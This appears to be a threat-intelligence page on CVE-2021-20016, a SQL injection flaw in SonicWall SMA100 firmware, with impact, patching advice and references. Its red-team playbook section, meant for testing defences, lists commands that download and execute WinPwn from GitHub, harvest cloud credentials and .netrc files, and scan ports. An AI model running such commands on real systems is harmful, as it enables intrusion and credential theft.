CVE-2021-20016
Overview
This vulnerability is a SQL Injection flaw rooted in improper sanitization of user-supplied input within the SonicWall SSLVPN SMA100 firmware. The affected component processes SQL queries without adequate validation, allowing injection of malicious SQL commands. Specifically, the SMA100 build version 10.x's backend database query mechanism fails to correctly handle crafted input, enabling unauthorized query execution.
Vulnerability Description
A SQL-Injection vulnerability in the SonicWall SSLVPN SMA100 product allows a remote unauthenticated attacker to perform SQL query to access username password and other session related information. This vulnerability impacts SMA100 build version 10.x.
Impact
An unauthenticated attacker can exploit this vulnerability to extract sensitive credentials and session data from the SonicWall SMA100 device's backend database. This unauthorized data access can lead to credential compromise, unauthorized system access, and potential lateral movement within the network. No user interaction or prior authentication is required, increasing the risk of widespread exploitation and data breach in affected environments.
Solution
SonicWall has released security updates addressing this vulnerability in the SMA100 firmware version 10.x. Administrators should apply the patches as detailed in the SonicWall PSIRT advisory SNWLID-2021-0001 available at https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0001. Following the vendor's instructions to upgrade to the fixed firmware version is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
The SQL Injection vulnerability present in the SonicWall SSLVPN SMA100 product is a critical security flaw that allows remote unauthenticated attackers to execute arbitrary SQL queries against the underlying database. This vulnerability stems from improper input validation, which permits attackers to manipulate SQL queries by injecting malicious code through user input fields. The affected firmware versions, particularly in the 10.x series, lack adequate safeguards, enabling attackers to gain unauthorized access to sensitive information, including usernames, passwords, and session-related data. The severity of this issue is underscored by its high CVSS score of 9.8, indicating a significant risk to organizations utilizing this product.
Exploitation of this vulnerability can occur through various attack vectors, primarily targeting the web interface of the SonicWall SSLVPN SMA100. An attacker could craft a specially designed HTTP request that includes SQL commands, which the server would execute without proper validation. This could lead to unauthorized data retrieval or manipulation, allowing the attacker to extract sensitive information stored in the database. Scenarios could involve an attacker gaining access to user credentials, which could then be used to compromise further systems or escalate privileges within the network. The potential for such exploitation is particularly concerning for organizations that rely on the SMA100 for secure remote access, as it could lead to widespread data breaches.
The real-world impact of this vulnerability is profound, posing significant business risks. Organizations that fall victim to such an attack may experience data loss, reputational damage, and regulatory penalties, especially if sensitive customer information is compromised. The financial implications can be severe, with costs associated with incident response, legal liabilities, and potential loss of business. Moreover, the exploitation of this vulnerability could serve as a gateway for further attacks, leading to a more extensive compromise of the organization's infrastructure. As remote work continues to be a norm, the reliance on secure access solutions like the SMA100 makes this vulnerability particularly critical for businesses.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the firmware of affected SonicWall products is essential, as vendors typically release patches to address known vulnerabilities. Additionally, organizations should employ web application firewalls (WAFs) to filter and monitor HTTP requests, blocking potentially harmful SQL injection attempts. Conducting regular security assessments, including penetration testing and vulnerability scanning, can help identify weaknesses in the system before they can be exploited. Furthermore, implementing strict access controls and monitoring user activity can aid in detecting unusual behavior that may indicate an attempted breach.
In conclusion, the SQL Injection vulnerability in the SonicWall SSLVPN SMA100 product represents a significant threat to organizations that utilize this technology for secure remote access. The potential for unauthorized data access and the subsequent business risks necessitate immediate attention and action. By adopting proactive detection and mitigation strategies, organizations can safeguard their systems against exploitation and protect sensitive information from falling into the wrong hands. The importance of maintaining robust security practices cannot be overstated, particularly in an increasingly digital and remote work environment.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2021-20016, with new telemetry indicating emerging exploitation attempts targeting SonicWall SSLVPN SMA100 devices. Despite this increase in detection events, the EPSS score has notably declined, suggesting a reduced likelihood of widespread exploitation in the near term. This divergence highlights a complex threat landscape where adversaries, including ransomware-linked groups such as Sinobi, continue to probe vulnerable systems, but overall exploitation momentum may be waning. For defenders, this underscores the importance of maintaining vigilance as targeted attacks persist, even if broad exploitation campaigns are not currently accelerating. The presence of ransomware-associated actors further elevates the risk profile, reinforcing the criticality of monitoring for indicators of compromise tied to this vulnerability. While no new exploit techniques have surfaced, the observed telemetry shift signals evolving attacker interest that could presage future operational activity.
Affected Products (6)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Sonicwall | Sma 100 Firmware | All |
cpe:2.3:o:sonicwall:sma_100_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 200 Firmware | N/A |
cpe:2.3:o:sonicwall:sma_200_firmware:-:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 210 Firmware | N/A |
cpe:2.3:o:sonicwall:sma_210_firmware:-:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 400 Firmware | N/A |
cpe:2.3:o:sonicwall:sma_400_firmware:-:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 410 Firmware | N/A |
cpe:2.3:o:sonicwall:sma_410_firmware:-:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 500v | N/A |
cpe:2.3:a:sonicwall:sma_500v:-:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
5 eventsSighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability (274 known victims)
Ransomware group known to exploit this vulnerability (274 known victims)
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-20016 |
| psirt.global.sonicwall.com |
GitHub CVE
x_refsource_CONFIRM
|
https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0001 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-20016 |